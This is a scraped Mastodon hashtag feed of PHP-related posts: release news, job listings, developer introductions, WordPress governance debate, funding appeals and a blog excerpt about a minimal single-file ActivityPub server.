PHPStan 2.1: Support For PHP 8.4's Property Hooks, and More!
https://phpstan.org/blog/phpstan-2-1-support-for-php-8-4-property-hooks-more
Discussions: https://discu.eu/q/https://phpstan.org/blog/phpstan-2-1-support-for-php-8-4-property-hooks-more
Qiita - 人気の記事@qiita@rss-mstdn.studiofreesia.com
@viktor@fosstodon.org
Let's get you hired in 2025! Here are some roles Nextcloud is hiring for:
- Software engineers (PHP and frontend)
- Sales/account managers
- Sales engineers
- Localization manager
- B2B content writer
- Graphic designer
- Internships
See job listings here:
https://nextcloud.com/jobs/#openpositions
Great opportunities to work in #OpenSource #FOSS
Boost to your audience 🙏
#getfedihired #jobs #mastodon #newyear #hiring #SoftwareEngineering #writing #internships #php #vuejs #germany
@viktor@fosstodon.org
Let's get you hired in 2025! Here are some roles Nextcloud is hiring for:
- Software engineers (PHP and frontend)
- Sales/account managers
- Sales engineers
- Localization manager
- B2B content writer
- Graphic designer
- Internships
See job listings here:
https://nextcloud.com/jobs/#openpositions
Great opportunities to work in #OpenSource #FOSS
Boost to your audience 🙏
#getfedihired #jobs #mastodon #newyear #hiring #SoftwareEngineering #writing #internships #php #vuejs #germany
@viktor@fosstodon.org
Let's get you hired in 2025! Here are some roles Nextcloud is hiring for:
- Software engineers (PHP and frontend)
- Sales/account managers
- Sales engineers
- Localization manager
- B2B content writer
- Graphic designer
- Internships
See job listings here:
https://nextcloud.com/jobs/#openpositions
Great opportunities to work in #OpenSource #FOSS
Boost to your audience 🙏
#getfedihired #jobs #mastodon #newyear #hiring #SoftwareEngineering #writing #internships #php #vuejs #germany
@viktor@fosstodon.org
Let's get you hired in 2025! Here are some roles Nextcloud is hiring for:
- Software engineers (PHP and frontend)
- Sales/account managers
- Sales engineers
- Localization manager
- B2B content writer
- Graphic designer
- Internships
See job listings here:
https://nextcloud.com/jobs/#openpositions
Great opportunities to work in #OpenSource #FOSS
Boost to your audience 🙏
#getfedihired #jobs #mastodon #newyear #hiring #SoftwareEngineering #writing #internships #php #vuejs #germany
Qiita - 人気の記事@qiita@rss-mstdn.studiofreesia.com
Qiita - 人気の記事@qiita@rss-mstdn.studiofreesia.com
@phpc@phpc.social
Do you use #PHP? Do you benefit from it?
Joe Watkins is a major contributor to PHP, so if you benefit from PHP, then you’re benefiting from Joe’s open source work.
Please support Joe and his family, as he deals with serious health issues.

@hongminhee@hollo.social · Reply to 洪 民憙 (Hong Minhee) :nonbinary:'s post
I'd love to see something like GitHub Pages or Netlify that also supports #PHP…

@hongminhee@hollo.social
What's the cheapest and easiest #PHP hosting service to use in 2024? I'm going to serve a website with three to four pages.
@gamingonlinux@mastodon.social
@mapache@hachyderm.io
You have been warned.
Qiita - 人気の記事@qiita@rss-mstdn.studiofreesia.com
Qiita - 人気の記事@qiita@rss-mstdn.studiofreesia.com
Laravel から一歩先へ。クリーンアーキテクチャによる柔軟な設計パターン
https://qiita.com/ucan-lab/items/a9a5c55ce12a6d8752d3?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@chrastecky@phpc.social
This is one of the most useful tools I have built:
https://history.nix-packages.com
Working with multiple versions of whatever software you need for your legacy app is a breeze.
You want some specific version of #php #nodejs #golang or whatever else without it polluting your system? You're just one `nix-shell` command away!
@vga256@dialup.cafe
when i was a kid, you could build a simple game or application by dragging and dropping a few UI controls, and gluing them together with a few dozen lines of BASIC or Pascal or HyperTalk. it might take 15 minutes, at most, to get your little character walking around on the screen. this is how we ended up with a lot of hilariously good and cheap shareware you could share on BBSes in the 90s.
for the past year i've been quietly working on building a software thingie that doesn't exist anymore. i've been building a software toolkit that's kinda like Visual Basic and HyperCard and Borland Delphi, designed for making tile-based 2d games.
i've been using it to build my own little goofy games, and improving on the drag'n'drop IDE as i figuring things out. it's not done yet, and has a long ways to go before it's ready for other people to start making their own little applications and games. think PICO-8 or ZZT if they had grown up on a steady diet of Windows 3.1 and GeoWorks Ensemble instead.
i'm really, really bad about polishing turds to infinity and never releasing them. to break that habit, i've built a mini-website for the IDE/Shareware Creation Kit. it's called Exigy, named like a bad 80s metal hair band or richard garriott game.
i'll be posting weekly blog/devlog updates there, so i don't irritate anyone with them on this account. there is an rss feed button at the top right if you hate my demonic php and css.
#shareware #ultima #php #blog #smolweb #zzt #indiedev #hypercard #vintageApple #exigy
@codemonkeymike@fosstodon.org
I REALLY don't want to join #Bluesky and love it here on the fedi. But people keep telling me I just won't find enough people here to follow and engage with.
If you love #linux #WebDevelopment #php or #elixir #elixirlang #phoenixframework drop a comment here and retoot so I can follow you.
I really love the community here and want to find my people. :)
@Crell@phpc.social · Reply to Sherri W (SyntaxSeed)'s post
@syntaxseed @slightlyoff Browsers have done that with #CSS. I'd argue all CSS frameworks are obsolete now with how far CSS had come. But people still reach for tailwind or whatever, despite it being built for a CSS that doesn't exist anymore.
For JS, same problem but it's React. For #PHP, it's #Laravel.
Once a critical mass of people use something, it's almost impossible to get them to migrate to something better, because the network effect costs are too high.
And here we are.
@syntaxseed@phpc.social · Reply to Sherri W (SyntaxSeed)'s post
@slightlyoff They should take the approach #PHP has taken over the last decade - rapid release of modernizing updates, eventually leaving the old behind.
Honestly I'm shocked with browsers being essentially down to a single monopoly now... why JS is still *almost* the same as it was 15 years ago! 🤦♀️
Just fix it #Chromium.... ffs.
thorsten@tbachner@ruhr.social
#PHP 8.4 released https://www.php.net/
@nyamsprod@phpc.social
I am looking for a technical review of my doc to see if everything is understandable. https://github.com/bakame-php/http-structured-fields/tree/master/docs if you want to spend the night ready poetry please feel free to open PR to fix typos or to give advices on how to improve the documentation #php #oss #documentation
@ReneHenrich@norden.social
I just released my second @getkirby plugin!
Kirby Admin Bar adds a simple admin bar to your frontend which allows logged in users to:
1. Quickly edit the current page in the panel
2. Access important panel links from the frontend with a single click
3. See your logged in user account and role at a glance and easily access your profile settings
Get it here: https://github.com/Pechente/kirby-admin-bar
@espena@techhub.social
An #introduction post is probably appropriate. So: Hello from #norway !
I'm here hoping to find interesting #DIY #electronics and other nerdy projects, in addition to sharing my own stuff.
I've been fiddling with #esp32 microcontroller/WiFi modules for a while, and will probably post my share of esp32 related projects.
My primary programming languages are #php #cpp #javascript
I do #pcb design with #Kicad, simple 2D design with #qcad and 3D work in #freecad.
I write about some of my projects on my personal blog, https://espenandersen.no
My GitHub repository is found at https://github.com/espena
(Image from my garage workbench)
@jimw@mefi.social
Wikimedia Foundation has a couple of #PHP software engineering positions open (one Senior-level, one Staff-level) on their Product Security team. Here’s the Senior:
https://job-boards.greenhouse.io/wikimedia/jobs/5890112?gh_src=58ef55971us
(It’s a position that I’ve talked myself out of even applying for because security hasn’t ever been a focus for me.)
@php_discussions@mastodon.social
ActivityBot - single file PHP activity pub bot server
https://gitlab.com/edent/activity-bot/
Discussions: https://discu.eu/q/https://gitlab.com/edent/activity-bot/
@davidbisset@phpc.social
@nibushibu@vivaldi.net · Reply to GENKI's post
#RiotJS で #WebComponents なサンプル作りを昨夜試して、色々 riotjs/custom-elements のバグっぽい挙動も報告できたので良かったんだけど、#WebComponents の属性値に基本テキストしか渡せないのは、やはり感覚的にはちょっと不便に感じる時あるな…props バケツリレーすればとりあえずなんとかなるかなみたいになっちゃってる自分が良くないかもなので別のパターンを学ぶ良いきっかけかもしれないけど。
#CSS が外部に伝搬しない #shadowDOM は使い方次第ではすごい強力な気はしている。
#WebComponentsb の template の書きづらさは Riot みたいなコンポーネントベースのフレームワークを使って解決するほうがよさそうだなと思ってるけど、標準技術の中でもう少し柔軟に書けるようになる予定とかないんだろうか…構造がある程度複雑になると、フレームワーク使わずにやろうとすると #HTML 側に template で書いておいて #JS 側から getElementById するみたいなやり方しか自分は思いついてないんだけど、できればコンポーネントはコンポーネントとして別ファイル化したいし… #PHP とかフロント以外のところでコンポーネント用の template を分けておけばいいのかもしれないけどなんかそれもなあとか考え事をしながら人間ドックに向かっている朝。
@ReneHenrich@norden.social
I just released my first Kirby CMS plugin today!
It protects your website from unwanted visitors with a password screen. This is useful to share a staging site with your client without needing to set up basic auth or a user account for them.
I'd appreciate any testers! If the plugin works as expected I will submit it to kirby’s plugin repository.
Get it here: https://github.com/pechente/kirby-password-guard/
@viktor@fosstodon.org
If you're an #opensource maintainer, how have you tried monetizing or earning income with your project?
Donations, paid support, crowdfunding, etc.
Would love to learn more. Working on my presentation for #AllThingsOpen2024 🙂
Boosts highly appreciated 🙏
@f_lombardo@phpc.social
@f_lombardo@phpc.social
@therealahall@gamerstavern.online · Reply to Aaron's post
#Tech, especially anything around #WebApplications and #PHP. I’m tinkering around with #GodotEngine right now as well.
#TV, specifically #RealityTV as I'm a huge fan of shows like #Survivor, #TheChallenge, #AmazingRace, etc... If someone can get voted out and go home, I probably watch it. Big fan of competition and artistic creation reality tv.
I'm a #PADI #Divemaster who loves #Diving when possible!
#Introduction (3/3)
@mlantz@phpc.social
I firmly believe that far too many software projects are built for a scale that will never happen, and if it did by then the codebase will have been completely altered from its original state. Future-proofing is nonsense. Most web-based applications can run perfectly fine on a $5 a month server. #SoftwareDevelopment #php
@mandrasch@social.tchncs.de
Currently at the crossroads of figuring out a new job pathway, ...
- I really liked working with craftcms, this would mean trying to get another - potential stressful - agency developer job.
- Also I would love to work towards a purpose (as developer), like „fighting the climate emergency“ - but these jobs are not advertised (yet?)
So „follow your passion!“ does not work as Rutger Bregman stated here as well:
https://www.instagram.com/p/DBHFM0qMVBm/?hl=de 1/
@jesuscova@mastodon.social
Everything should be written in #Rust, but not everything deserves it.
And that’s when I reach for #Go
And in the end I get paid to write #JavaScript and #PHP
@smallsco@oldbytes.space
Hi, 👋 I'm Scott! #Introduction
I'm a technology enthusiast from Vancouver Island, BC, Canada. By day I build software used to run #Genomics labs in #Python. I've also worked with #Lua and #PHP in the past. I've worked professionally as a web developer for fifteen years but I've been programming since I was eight (started with #HyperCard)!
I love #RetroComputing, especially old #Apple / #Mac stuff. I own a IIfx, an SE, and a IIgs which I use for #RetroProgramming and #RetroGaming. I even wrote a Mastodon app, #Macstodon, for vintage Mac OS!
I recently picked up an #Amiga #A500 as well, which I'm still learning how to use.
When I'm not #programming at work or on side projects I enjoy #gaming and watching #anime.
I also have a passion for #Travel, and have visited four continents and over twenty-six countries! My profile picture is from a visit to Cuba in 2019.
My other interests include #Camping, #Coffee, #Dogs, #Reading, and #TableTennis.
Nice to meet you all!
@scottarc@infosec.exchange
Last word from me for a while on the WordPress / Automattic / WPEngine / ACF/SCF discussion, and how it intersects with software security, supply chains, and trustworthy computing.
#WP #WordPress #WPEngine #AdvancedCustomFields #SecureCustomFields #PHP #Mullenweg
@MelvilleSpence@phpc.social
#WordPress’ conduct presents an ethical challenge for the solo #developer and for #agencies, will they be honest with their clients about the changed #risk profile? Large orgs will be aware, smaller orgs probably not. #ethics #php #wordpress
@jrf_nl@phpc.social
PHP_CodeSniffer users: please read this important announcement: https://github.com/squizlabs/PHP_CodeSniffer/issues/3932
squizlabs/PHP_CodeSniffer is dead, long live PHPCSStandards/PHP_CodeSniffer!
Also, please consider sponsoring the project to safeguard its continuation, as without funding, we'll have the same problem again sooner rather than later.
P.S.: @phpcs now also has its own account, follow it to stay informed.
@nibushibu@vivaldi.net
ずっと手がつけられていなかった、妻の仕事の関係のサイトを #PHP と #SQLite で動く #OSS のヘッドレス #CMS の #CockpitCMS https://getcockpit.com の最新無料版でリニューアルし始めているんだけど、巷では #WordPress 離れ始まりそうという話もあるし、全然自分その分野詳しくないけど #SQLite が再評価されてるっぽい話もちょくちょく目にするから、もしかして #CockpitCMS の時代が来てる?→全然来てないしこれからもたぶん来ない 
@heiglandreas@phpc.social
I wonder whether it'd be possible to build a WordPress plugin that extends the plugin installation with plugins from packagist.org
So when you click "Add plugin" it'll also show plugins from there and allows to one-click install them via an integrated composer.
And suddenly the WP plugin directory becomes irrelevant. Plugins from there can still have a blue checkmark for being "verified by WordPress" but TBH: I (and probably a lot of others) wouldn't care.
@robjmills@indieweb.social
Interesting that Laravel is now promoting a PHP installer using php.new which includes Laravel by default and prompts you to install Herd. If this was laravel.new then fine, but PHP does exist outside that ecosystem if I remember correctly #php
@melroy@mastodon.melroy.org
We are searching for open-source software **developers** for Mbin. Do you like PHP and the fediverse? Please join our project: https://github.com/MbinOrg/mbin. And join our matrix via: https://matrix.to/#/#mbin:melroy.org. Thank you!
Edit: good first issues https://github.com/MbinOrg/mbin/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22
Please boost for more reach!
#mbin #lemmy #fediverse #developer #opensource #software #engineer #softwareengineer #php #reddit #activitypub #federated
@alexstandiford@fosstodon.org
Hello World! Alex Standiford here. I am a web developer at GoDaddy, who travels full-time in one of two RVs with my two kids, two cats, a dog, and my wife. I mostly talk about #travel, #WordPress, #RVlife and bad puns. Looking forward to meeting y’all!
Interests:
#DigitalNomad
#RVLife
#kiting
#Homestead
#OffGrid
#Permaculture
#php
#programming
#javaScript
#OpenSource
#foss
#WordPress
#DiscGolf
#castIron
#outdoorCooking
#travel
@rbairwell@mastodon.org.uk
The problem with Matt at Automattic ( #WordPress ) saying WPEngine doesn't contribute much back to @WordPress despite "both companies being worth $0.5billion" (https://techcrunch.com/2024/09/22/matt-mullenweg-calls-wp-engine-a-cancer-to-wordpress-and-urges-community-to-switch-providers/ - Automattic is closer to $7.5b https://en.m.wikipedia.org/wiki/Automattic ), Automattic themselves have "only" contributed $225,000 to the PHP language since *2021* - without #PHP, they'll be no WordPress ( https://opencollective.com/phpfoundation ) - about $75k per year: maybe 2 programmers worth..
@rbairwell@mastodon.org.uk
Just so people know, on the Fediverse I'm also on:
* Neurodifferent Mastodon - https://neurodifferent.me/@rbairwell for #adhd and #autism stuff
* Coding Mastodon - https://functional.cafe/@rbairwell for #php , #nodejs and other #programming / #devops stuff
* Backup Mastodon - https://hachyderm.io/@rbairwell In case of problems with any of the above and/or additional #devops and #infosec stuff
* Backup of Backup Mastodon - https://universeodon.com/@rbairwell In case any of the above are unavailable(!)
@simonrjones@mastodon.social
Posted some thoughts on the recent WordCamp US. https://www.simonrjones.net/2024/09/wordcamp-us-2024/
@nibushibu@vivaldi.net · Reply to GENKI's post
#GravCMS の記事のこの記事を参考に #macOS に #Apache と #PHP 環境セットアップできた。
https://getgrav.org/blog/macos-sequoia-apache-multiple-php-versions
#PHP のバージョン切り替えスクリプトは、なんか新しいバージョンの PHP をインストールするときに一手間ありそうなので、便利じゃないんだかわからんということで、 brew の unlink, link と httpd.conf を都度書き換えることで対応することにしよう。
あとは #MySQL までセットアップすれば、 MAMP いらなくなるけど、直近は必要ないからここまで。
#GravCMS は一旦自分の趣味サイトに使おうか検討して見送っちゃったけど、こういう記事を公開してくれてるのありがたい(しかもちゃんと最新の #Sequoia 対応の内容にアップデートされてるし)。#GravCMS の印象ちょっと良くなった。
別の機会にまた試用してみようかな…
@nibushibu@vivaldi.net · Reply to GENKI's post
@cmuench@phpc.social
If you really run #PHP on Windows.
Just upgrade!
https://thehackernews.com/2024/06/new-php-vulnerability-exposes-windows.html
@wyat@infosec.exchange
When lead developers and lead maintainers forget their users:
So far, #FreshRSS DOES NOT include a simple 2FA solution.
@packagist@phpc.social
Private Packagist is joining the Open Source Pledge! Join this effort and pledge to also give at least $2,000 per employed full-time developer per year to open-source projects and maintainers!
https://blog.packagist.com/packagist-is-joining-the-open-source-pledge/
A good way to achieve this amount? Sponsor the PHP Foundation! https://thephp.foundation/sponsor/ and then join the pledge with your company!
@andrewfeeney@phpc.social
What examples have you seen of people doing things with #PHP that you’re not supposed to do? I don’t mean programming mistakes, but tasks for which PHP would not normally be considered the proper language, or a good fit for?
@mandrasch@social.tchncs.de
@pieceofthepie@n8e.dev
Been a while since my last #Introduction so here it is 🙂
I'm a #PHP #SoftwareDeveloper working for the UK government. I collect and abandon hobbies but at the moment, when I'm not walking my #Corgi #SheridanTheCorgi or working on my #SelfHost #Homelab you might find me #MiniaturePainting, or playing #Boardgames / #TabletopGames, or #VideoGames on my #Steamdeck and #PC
I also do a bit of #Bouldering mostly indoors but sometimes outside. In the past I've flown #RacingDrones.
@php_discussions@mastodon.social
PHP is the Best Choice for Long‑Term Business
https://tomasvotruba.com/blog/php-is-the-best-choice-for-long-term-business
Discussions: https://discu.eu/q/https://tomasvotruba.com/blog/php-is-the-best-choice-for-long-term-business
@Edent@mastodon.social
Hello #PHP friends! Which library do you personally use to convert #Markdown into HTML?
(I cannot stress enough that I am looking for *personal* recommendations. I know how to use a search engine. I like to know what people are actually using. Yes, I realise this clarifying paragraph is longer than the question. Blame the twunts who insist on answering every question with a guess.)
@mediawiki@wikis.world
Hello Fediverse! MediaWiki is free #wiki software used by #Wikipedia, @wikidata, and tens of thousands of other educational, fan, corporate and personal websites.
Follow for updates on the MediaWiki software, release announcements, wiki showcases and more!
This account is intended to be operated by community members in a collaborative manner, just like a wiki.
Our website for more details on the project (a wiki of course): <https://www.mediawiki.org/>
@jrtashjian@talos.link
I’ve been on here a while but never wrote an #introduction post so here it is.
My name is Mark thought most people call me JR (J.R. not “junior”). I am a believer and follower of Christ. My passion is #software #engineering and I’ve been at it professionally for over 14 years. Though I mostly develop for the web I enjoy working with the #fullstack including the hardware and architecture of it.
I like #videogames #opensource #homelab #php #wordpress #laravel #javascript #selfhosted #linux #you
@fabiocosta0305@ursal.zone
#introduction #introdução #IntroduçãoTardia
Aproveitando e refazendo minha apresentação para os novos que estão chegando
O oposto de grimdark é hopepunk. Passe a mensagem à diante.
Quando a violência é a norma, a gentileza é a resistência.
Dados não são o novo petróleo, são o novo urânio.
A Era do Capitalismo de Vigilância - Shoshana Zuboff
"Esqueça o clichê que afirma que, se é de graça, “o produto é você”. Você não é o produto; você é a carcaça abandonada. O “produto” deriva do superávit arrancado da sua vida."
Enemy of Progress #fuckAndreseen
46664
É preciso estar atento e forte!
Deus está contigo, Deus está conosco até o pescoço.
#PHP, #Linux, #EMACS, #RPG, #Rugby, #DoctorWho, #Springboks, #Indycar, #Anime, #Go, #RogerRabbit, #Disney, #HopePunk... Yep, this is me! @altbot
@eric@limulus.net
Time to finally do an #introduction!
I’ve been fascinated by the #web since I first got on the internet when I was a teenager. The idea that anyone could create a website — how cool is that!?
I’ve been a #Mac user even longer (my parents were in education and my mom would bring home her office Mac Classic on the weekends). Being creative with #HyperCard and wanting to make dynamic websites eventually got me into #programming. First with #Perl, later #PHP, and now #JavaScript and #TypeScript. I’ve also had some fun with #C, #ObjectiveC, and #Swift.
For 14 years I worked at a small company that makes the premier CMS for the #AltWeekly press in the US. Now I work on web applications in #React in the far-more corporate world. I also used to co-organize TucsonJS and Tucson React meetups.
@brendt@phpc.social
I was told to introduce myself: so, hi! I'm a Mastodon noob.
I'm also a writer of some sorts: I'm writing a blog on PHP, a newsletter, a PHP framework, and a scifi novel (which I publish on my blog)
I've been able to turn my hobby into my job: two years ago I became a developer advocate for PHP at JetBrains, PhpStorm.
I'm also the host of a YouTube channel called PHP Annotated.
All links are in my bio :)
@freexian@hachyderm.io
Hello Fediverse!!
We are Freexian, a company specialized in providing security support and other services for Debian GNU/Linux. You might know about us as the company funding work of the Debian LTS team (https://wiki.debian.org/LTS).
We also offer support for multiple PHP releases across multiple Debian/Ubuntu releases with the help of @ondrej
You can find more about our mission statement and our history at https://www.freexian.com/about/.
@luciledt@phpc.social
Dear fediverse, are you aware of an open position or a company looking for a #php developer :elephpant:?
I am available now, I am actively looking for a freelance mission. Contact me if you have anything up your sleeve! :partyparrot:
I am looking either in full remote, or in #Montpellier (France) and cities in the Montpelier area.
@sarah@phpc.social
WordPress' popularity is a blessing and a curse.
A blessing, because there's an entire ecosystem of both free and paid tools/companies that offer support.
A curse, because so many inept or just technologically unsavvy people "set it and forget it" which leads to hacking and disaster recovery.
Make something simple enough to use, and everyone, from expert to beginner, will use it. Not always well.
@andrewfeeney@phpc.social
My workplace is looking for a PHP / Laravel full stack dev to join my team. Fully remote, well established Sydney-based SaaS app. I think it's a great place to work. AU compatible timezones preferred. All experience levels welcome to apply, DM for more details.
@davidbisset@phpc.social
Hello! 👋🏻 I'm David. Been in tech/web since 80s but last 15+ yrs I primarily identify as #PHP #WordPress dev building plugins that run on a bunch of sites.
Last 20+ yrs: #freelancing, manager, full stack dev, podcast host, #conference speaker, Post Status alum, event/meetup organizer, dad³. #hackathons. #WordCamp Miami co-founder. #StarTrek.
I use Mastodon mainly to share tech links & memes as they are archived to davidbisset.social. I avoid talking about certain subjects here.
@pwa@norden.social
@kirch@tilde.zone
I am a human, I can sign something for you from https://keybase.io/jkirchartz if you'd like
Here is a list of my interests, in no particular order.
#art #history #retro #music #pocketmusic #gameboy #android #chiptunes #bots #ML #AI #guitar #mandolin #busking #streetphotography #streetart #stickerart #magic #webdesign #webdevelopment #uspolitics #dsa #zen #scifi #php #bash #python #javascript #node #automation #discordia #education
@viktor@me.dm
Took a little break, but now back with the latest round of job openings at Nextcloud:
- Desktop engineers (C++)
- Android engineers (Kotlin/JAVA)
- Javascript developers
- PHP developers
- WebRTC developers
All timezones. More info:
https://nextcloud.com/jobs/
Plz boost so more can see/apply 🙏
#getfedihired #jobs #opensource #linux #php #java #android #kotlin #vue #javascript #hiring #remote #wfh #devjobs
@django@social.coop
#introduction
I'm a developer, have been working with #php #javascript, #WordPress for years, exploring others as well. Hacking on #ActivityPub wp plugin, interested in #CivicTech
language nerd: native bilingual #Français, English, hablo español, falo portugues, foghlaim gaeilge leis an ulchabhan. And smidgens of a few others.
Interests and what I might post about: #lowtech, #cooperatives, #music (electro, folk, jazz), #bikes, #anthropology, #mythology, #sociology, #CommunityOrganizing
@danjones000@microwords.goodevilgenius.org
I've been using this account as my primary for about a week now, and I'm think I'm settled on using it for the foreseeable future, so I guess it's time to do another #introduction post.
I'm a dad of four kids, and a web developer. I have a college degree in #Theater (or #Theatre) and had aspirations of being an actor. I kind of fell into web development as a career. It was a hobby back in high school, and I just needed to pay some bills after college, so I ended up doing this.
I always have aspirations to do other things, but for now, I'm pretty happy spending most of my time as a dad and husband.
Some day, I'd like to get back into #acting, or maybe do some #VoiceActing. I also enjoy #writing and will, from time to time, post some #MicroFiction, usually from somebody's #WritingPrompt.
I love #StarTrek, and usually watch at least one episode nearly every day. I like all #SciFi really, though, as well as #fantasy. I used to read a lot, but find I don't have as much time or mental capacity for it as I used to. I also enjoy watching #anime, and have really been enjoying the new episodes of #Bleach lately.
Feel free to follow me if you think we have similar interests, and I may follow you back, if I think likewise. 👋
#WebDev #PHP #BackEnd #Laravel #introductions #Parenting #DadLife :more_cowbell:
@madcollector@mastodon.zaclys.com
Years ago I created a #php #mysql #comics #database
https://sourceforge.net/projects/madcollector/
DM me If you'd be interested in reviving it.
@elkcityhazard@indieweb.social
I owe the hospital $2500 for a cat scan and I am looking to do small web projects to help satisfy that debt. Maybe you need some web maintenance tasks that have been on the back burner? I have experience with #html #css #javascript #php #nodejs #golang #wordpress #react #hugo #aws #sql Looking for small projects around $250 - $350 . If you know someone who might benefit please #boost #foss #opensource #writer #writing #programming #software #blog #database #web
@phpc@phpc.social
#PHP Community, Joe Watkins (a.k.a. @krakjoe) needs our financial support to help him and his family. Joe is a longtime member of the community and PHP core developer, but he’s had to take a step back in recent years due to health problems, which have also prevented him from earning income.
Please consider giving. Any amount helps.
@shawnhooper@fosstodon.org
I've decided to finally launch my free newsletter this year. It will be a weekly (or maybe monthly, we'll see) summary of what I've been working on, and links content I've found interesting in the world of web development and related tech.
Typically will cover WordPress, Laravel, Security, Accessibility, Tech News, etc.
Sign up here: https://buttondown.email/shawnhooper
First edition comes out tomorrow.
@closingtags@mastodon.social
I'm Dylan, a #FullStack #web developer from the Midwest, US. I enjoy working with #javascript, #NodeJS, #php, #SvelteKit, and #linux. I've also done lots with #WordPress.
I love learning about #CyberSecurity, dabbling in #SelfHosting, and tinkering in my #HomeLab which I automate with #ansible.
I #blog frequently at https://www.closingtags.com where I write things related to #WebDev. You can reach me via the contact form there or here!
@sarajw@front-end.social
@anelki@tilde.zone · Reply to anelki's post
okay so things are ✨happening ✨!!
Fun with #PHP: creating a plugin to enable better diagnostics, accessible remotely via an API to enable debugging.
Improving OJS discussions, notifications, and editorial workflow. Provide more context to editors and make it easier for non-technical editors.
Improving the experience for journals using open-review. Provide more gradients of control for how open-review works for each journal.
Porting in further language/translation and accessibility improvements, especially for plugins
Fixing/Updating Documentation: taking a more task based approach to how OJS/etc. works instead of making people read through a whole thing about the whole workflow for something.
More documentation: integrating progress from previous sprints including for newly created plugins.
(Unofficial) working on thinking about how integrating OJS into the fediverse might work (me, it's me, this is my fault)
@jonspark@howdee.social
A quick re #introduction: I'm Jon, a front-end-turned-a-bit-of-everything #WebDeveloper based in #NorthEastEngland You may have followed me on https://mastodon.social/@jonspark
I run my own distributed micro-agency, & have a few opinions about #accessiblity in recruitment. I like #NodeJS and spend some time in #PHP and #Laravel.
I'm #ActuallyAutistic, a #parent and husband. I like #tech and being as #green as I can. We had a #GermanShepherd and I like to tinker in #Lego and the #WarhammerCommunity.
@heiglandreas@phpc.social
You wanna attend #fwdays24 #php either in person in Kyiv or online, but can't afford it?
They do have some diversity tickets for free!
Drop me a PM here or get into contact via one of the ways on my profile or shoot the organisers an email via https://fwdays.com/en/event/php-fwdays-2024
And for those that *can* afford it: Get a ticket 😉
@dmr1848@mastodon.online
# Introduction
I work in programming and devops using #PHP with #Laravel, but prefer #Perl or #Java for my own projects.
I play #chess in the local leagues and online, mainly on lichess - https://lichess.org/@/dmr1848
I love #astronomy and do some #astrophotography. Also interested in math(s) and other sciences, especially climate.
I play #guitar and bass but just for fun, not in a band.
Want to abolish the state, classes, work and all that bad stuff.
@whizkidz@mastodon.social
Check out the awesome online #coding platform at https://codepad.site. It's FREE! There's support for #HTML / #CSS / #JavaScript, #PHP, #Java and #Python.
@alpha1beta@libretweet.com
Since I moved to my own server, time for an updated #introduction. #pinned
I'm Michael. I'm a 30 something #WebDeveloper / #IT focusing on #WordPress #PHP #JS #JQuery, some #bash #mysql #datascience.
I enjoy #photography ( @alpha ) with my #SonyAlpha, mostly #landscape and #astrophotography and #drones.
I'm big into #OpenSource, #SelfHosted #3dprinting and taking back #privacy from #BigTech.
I #blog occasionly @ https://alpha1beta.blog/
I tweet a lot about #USPOL and use a lot of profanity.
@tommi@pan.rent
Yesterday’s #FediverseMeetup at @offline, #Berlin was so cool and insightful! Lovely to chat with very knowledgeable and interesting folks.
I have been thinking about the discussion so much that last night I dreamt of @liaizon telling the story of how they built their whole self hosted #ActivityPub instance in one single #PHP file.
This is not true and I have no idea how my unconscious could have conceived this ahahah
@darkghosthunter@mastodon.social
Okay, #Coolify is a pain to work with on an internal network. If you're using GitHub for your things, that's okay, but for everything else is not.
Is there any other alternative?
BTW, this is Coolify: https://coolify.io/
#Linux #DevOps #Server #Servers #Docker #Containers #Kubernetes #VM #Virtualization #OCI #Debian #CentOS #Alpine #Fedora #Forgejo #Git #GitHub #GitLab #Podman #PHP #Go #Rust #JavaScript #Vue #Nuxt #NextJS #React #Angular #Coolify
@darkghosthunter@mastodon.social
Just going to nonchalantly shove in some awareness to my GitHub Sponsorship.
If you value my contributions to Open Source and Laravel, just leave a small tip or become a sponsor. It helps me pay the bills.
https://github.com/sponsors/DarkGhostHunter
#PHP #Javascript #JS #FOSS #OSS #OpenSource #Programming #Development #Software #SoftwareDevelopment #WebDevelopment #WebDev #Laravel #Github
@carbsrule_en@polyglot.city
Time for an updated #introduction.
I'm into #programming (#PHP, #TypeScript, #Go, one day #Rust).
#LanguageLearning rocks - some competence in #Esperanto, #Japanese and #German; less in others. Currently learning #Greek and #French, among others, and building @vortmaro.
#ClimateChange is a big deal and to mitigate it, let's switch to #renewables, #ElectrifyEverything, and adopt #PlantBased diets.
#COVID sucks, we should nuke it (with masks, filtration, ventilation, far-UV, etc.)
@michael@thms.uk
After turning up here a couple of weeks or so ago, I figured it's time for an #introduction
I'm a full stack web developer, currently working mostly with #php (#laravel) and Vanilla #javascript and #scss. Still love #cfml too.
Outside of that, my main interests are around #infosec, #fintech, and just learning new stuff.
Husband, father of 2 boys, speaker of #German and #english with some basic understanding of #Arabic
Started running my own instance just for fun, and loving it. #mastoadmin
@joby@hachyderm.io
New #Introduction, to pin this time.
Pictured: Me with my perfect darling #Cat daughter. Her name is The Juice.
Generally into #DIY stuff. Unrepentant #RightToRepair zealot. #SolarPunk #Urbanism is cool, car-centric #UrbanPlanning sucks, but I also think cars are neat and am an okay #Mechanic.
#Outdoors -- #Hiking, #Wilderness #SearchAndRescue volunteer, on-again-off-again #RockClimbing
#FullStack #Programming -- right now I do #PHP #ContentManagement #WebDev at work.
@ellotheth@bsd.network
today was my last day at @wonderproxy. last day working with @preinheimer and @schmalliso and @tdriley and will (and puck, the new me!).
it's been a pretty solid decade, folks. i have some FEELS. i learned #golang, #reactjs, #nodejs, #selenium, #playwright, #puppet, #docker, #mongodb, and how and why not to use #jwt's. i keynoted #phptek, staffed a vendor booth at #saucecon, and contributed (a very little bit) to my favorite #php framework.
there is nothing in my adult life that has had as much of an impact on my career as the folks at wonderproxy. thanks for being awesome, wonderpeople. it's been a privilege working with you.
@blog@shkspr.mobi
https://shkspr.mobi/blog/2024/02/activitypub-server-in-a-single-file/
Any computer program can be designed to run from a single file if you architect it wrong enough!
I wanted to create the simplest possible Fediverse server which can be used as an educational tool to show how ActivityPub / Mastodon works.
The design goals were:
And those goals have all been met! Check it out on GitLab. I warn you though, it is the nadir of bad coding. There are no tests, bugger-all security, scalability isn't considered, and it is a mess. But it works.
You can follow the test user @example@example.viii.fi
Firstly, I've slightly cheated on my "single file" stipulation. There's an .htaccess file which turns example.com/whatever into example.com/index.php?path=whatever
The index.php file then takes that path and does stuff. It also contains all the configuration variables which is very bad practice.
Rather than using a database, it saves files to disk.
